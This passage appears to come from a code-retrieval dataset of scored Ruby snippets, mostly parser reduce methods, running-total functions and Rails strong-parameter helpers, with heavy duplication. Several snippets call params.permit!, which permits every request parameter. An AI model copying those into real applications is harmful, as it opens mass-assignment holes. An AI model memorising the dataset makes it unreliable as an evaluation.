}, { "docid": "9eea861390cc08a14500a7683ce57a7c", "score": "0.57851434", "text": "def _reduce_497(val, _values, result)\n result = [val[0]]\n \n result\nend", "title": "" }, { "docid": "53c2a0adc6c03dcdf6545e4406bba494", "score": "0.5782919", "text": "def _reduce_119(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "53c2a0adc6c03dcdf6545e4406bba494", "score": "0.5780565", "text": "def _reduce_119(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "d3428f78f88acb3bf9100822dd173280", "score": "0.5778385", "text": "def running_total(arr)\n total = 0\n arr.map do |value|\n total += value\n end\nend", "title": "" }, { "docid": "66f6f7ec31a05af37ec8ebaa04c49f00", "score": "0.57762074", "text": "def update_pis\n new_pis = []\n 20.times {|i|\n res = 0\n @ys.each_with_index {|yt, t|\n res += (yt * @xs[t][i] * @pis[i]) / compute_noisy_or(t)\n }\n new_pis << res / @tis[i].to_f\n }\n\n return new_pis\nend", "title": "" }, { "docid": "518c4f96e23a0034d946dbe1ef544277", "score": "0.57750726", "text": "def running_total(array)\n return array if array[0] == nil\n sum = 0\n array.map { |num| sum += num}\nend", "title": "" }, { "docid": "f0b9d3972841642e18114691699a0213", "score": "0.57716393", "text": "def _reduce_237(val, _values, result)\n result = []\n \n result\nend", "title": "" }, { "docid": "f0b9d3972841642e18114691699a0213", "score": "0.57716393", "text": "def _reduce_237(val, _values, result)\n result = []\n \n result\nend", "title": "" }, { "docid": "7ea51cd2a9737b691da300f3fa9eac26", "score": "0.57711774", "text": "def solution(a)\n # write your code in Ruby 2.2\n total_sum = (1..(a.count+1)).reduce(:+)\n total_arr = a.reduce(:+) || 0\n total_sum - total_arr\nend", "title": "" }, { "docid": "cb4989b365472cf05b4964e013bf2abc", "score": "0.5770238", "text": "def running_total(array)\n sum = 0\n array.map{|num| sum = sum + num}\nend", "title": "" }, { "docid": "5e17804558108065fc1f8154c16aef8c", "score": "0.5769589", "text": "def arr_for &proc\n sexp_for(&proc).to_a\n end", "title": "" }, { "docid": "039cabb4a02a04e70721797bc1e0eef9", "score": "0.5769404", "text": "def another_running_total(array)\n sum = 0 \n array.each_with_object([]) {|value, new_array| new_array << sum += value}\nend", "title": "" }, { "docid": "216e508eb75c12424ffb3e33ce2f92ea", "score": "0.5768144", "text": "def _reduce_83(val, _values, result)\n result = new_assignable val[0]\n \n result\nend", "title": "" }, { "docid": "d3db31fa1da1eff9f4c4f376ea193cc0", "score": "0.5767649", "text": "def promedio(array)\n array.sum / array.count\nend", "title": "" }, { "docid": "4991b6832daaa362c976ed9281725215", "score": "0.57621723", "text": "def running_total_with_inject(array)\n new_array = []\n array.map do |num|\n new_array << num\n new_array.inject(:+)\n end\nend", "title": "" }, { "docid": "e93c2a7282abd69d164ac08fcf8b0037", "score": "0.57587296", "text": "def _reduce_473(val, _values, result)\n result = [val[0]]\n \n result\nend", "title": "" }, { "docid": "edf8689eb560dcf51c28dc8b8997263f", "score": "0.57564884", "text": "def running_total(first_array)\n sum = 0\n first_array.map { |element| sum += element }\nend", "title": "" }, { "docid": "11092ed54cac03b8176515a5ddc3eed4", "score": "0.57557225", "text": "def running_total(arr)\n\n\ttotal = 0\n\tarr.map {|num| total += num}\n\nend", "title": "" }, { "docid": "9ca6fedc8921992d7f5564bf23ca23e2", "score": "0.575569", "text": "def _reduce_20(val, _values, result)\n result = new_assign val[0], val[2]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "6f67794f168e003f287d7aa4eae61373", "score": "0.5752405", "text": "def _reduce_247(val, _values, result)\n result = val[0]\n \n result\nend", "title": "" }, { "docid": "908aa4a28ecc3069f80fe234ca717871", "score": "0.5749988", "text": "def sum_dig_pow(a, b)\n output_arr = []\n\n for i in a..b do\n eureka_result = check_for_eureka(i)\n\n if eureka_result\n output_arr.push(eureka_result)\n end\n end\n\n return output_arr\nend", "title": "" }, { "docid": "fd983a822e2e278269b8209c6e523e1e", "score": "0.5744948", "text": "def _reduce_121(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "fd983a822e2e278269b8209c6e523e1e", "score": "0.5744948", "text": "def _reduce_121(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "fd983a822e2e278269b8209c6e523e1e", "score": "0.5744948", "text": "def _reduce_121(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "fd983a822e2e278269b8209c6e523e1e", "score": "0.5744948", "text": "def _reduce_121(val, _values, result)\n result = [ val[0] ]\n \n result\nend", "title": "" }, { "docid": "637f205ae9c0e3666e9e67fa50357e0b", "score": "0.5743566", "text": "def running_total(array)\n total = 0\n array.map { |num| total += num }\nend", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "7ea8603bb31cd41f1cc9546bfde88307", "score": "0.0", "text": "def collections_bill_params\n params.require(:collections_bill).permit(:id, :sale_id, :invoice_number,\n :ship_number, :po_number, :payment_terms, :bol_date, :total_amt,\n :user_id, :customer_id, :created_at, :label_one, :label_two, :bill_of_lading,\n :proforma_invoice, :show_pkg_type, :show_plu, :show_count_type, :show_color,\n :show_bag_type, :thermograph, :footer_one, :footer_two, :_destroy)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
3c70fb469b312e8eccea8434d3f3ef29
A sequence of handles, maintained in sorted order, future to present.
[ { "docid": "dcd200078c7201682aec0733b5ab0edf", "score": "0.0", "text": "def initialize\n @sequence = []\n end", "title": "" } ]
[ { "docid": "23b0054c36fed089d24e5859b057f037", "score": "0.6584214", "text": "def build_handle_list\n return @handles.uniq.join(\"\\n\")\n end", "title": "" }, { "docid": "6d91a12acb70999810823e66d89594d5", "score": "0.63065493", "text": "def load_handles\n handle = start_handle\n\n end_date = (@date + 1).strftime '%Y%m%d000000'\n\n loop do\n entries = load_handle handle\n\n yield entries\n\n if last = entries.last then\n _, date, = last.split ','\n\n break if date >= end_date\n end\n\n handle += 1\n end\n end", "title": "" }, { "docid": "cd65649f689f185e67063a4d66a1e435", "score": "0.60052514", "text": "def allocate_handles()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f52d59c7868c80aa69bf73dc6011e38d", "score": "0.57066035", "text": "def merge!\n\t\t\twhile handle = @queue.pop\n\t\t\t\tnext if handle.cancelled?\n\t\t\t\t\n\t\t\t\[email protected](handle)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "96d845bd90256b134049c9f426a1d762", "score": "0.55981225", "text": "def window_handles; end", "title": "" }, { "docid": "be385d2282a9b044b918116c7b3c32cc", "score": "0.5424242", "text": "def active_handles\n uvloop = Ext::UvLoop.new @pointer\n uvloop[:active_handles]\n end", "title": "" }, { "docid": "fc1bf67b1c5eeb41b566c2401b345087", "score": "0.53646344", "text": "def window_handles\n bridge.window_handles\n end", "title": "" }, { "docid": "6b12b7246fd540aadec445471a8343d5", "score": "0.53166115", "text": "def prioritized_handlers\n Enumerator.new do |yielder|\n priorities = (registered_handlers.keys | block_handlers.keys).sort!\n priorities.uniq!\n priorities.each do |priority|\n if registered_handlers.key?(priority)\n collected_handlers = registered_handlers[priority].to_a\n end\n if block_handlers.key?(priority)\n temp_handlers = block_handlers[priority].to_a\n if collected_handlers\n collected_handlers.concat(temp_handlers)\n else\n collected_handlers = temp_handlers\n end\n end\n collected_handlers.sort_by!(&:name)\n collected_handlers.uniq!\n collected_handlers.each { |handler| yielder << handler }\n end\n end\n end", "title": "" }, { "docid": "2f56322dd5190a9cc85fba8794208347", "score": "0.5212654", "text": "def get_handles\n self.handles = validate_handles(parse_relevent_handles(fetch_url_as_string(self.url_string).first))\n end", "title": "" }, { "docid": 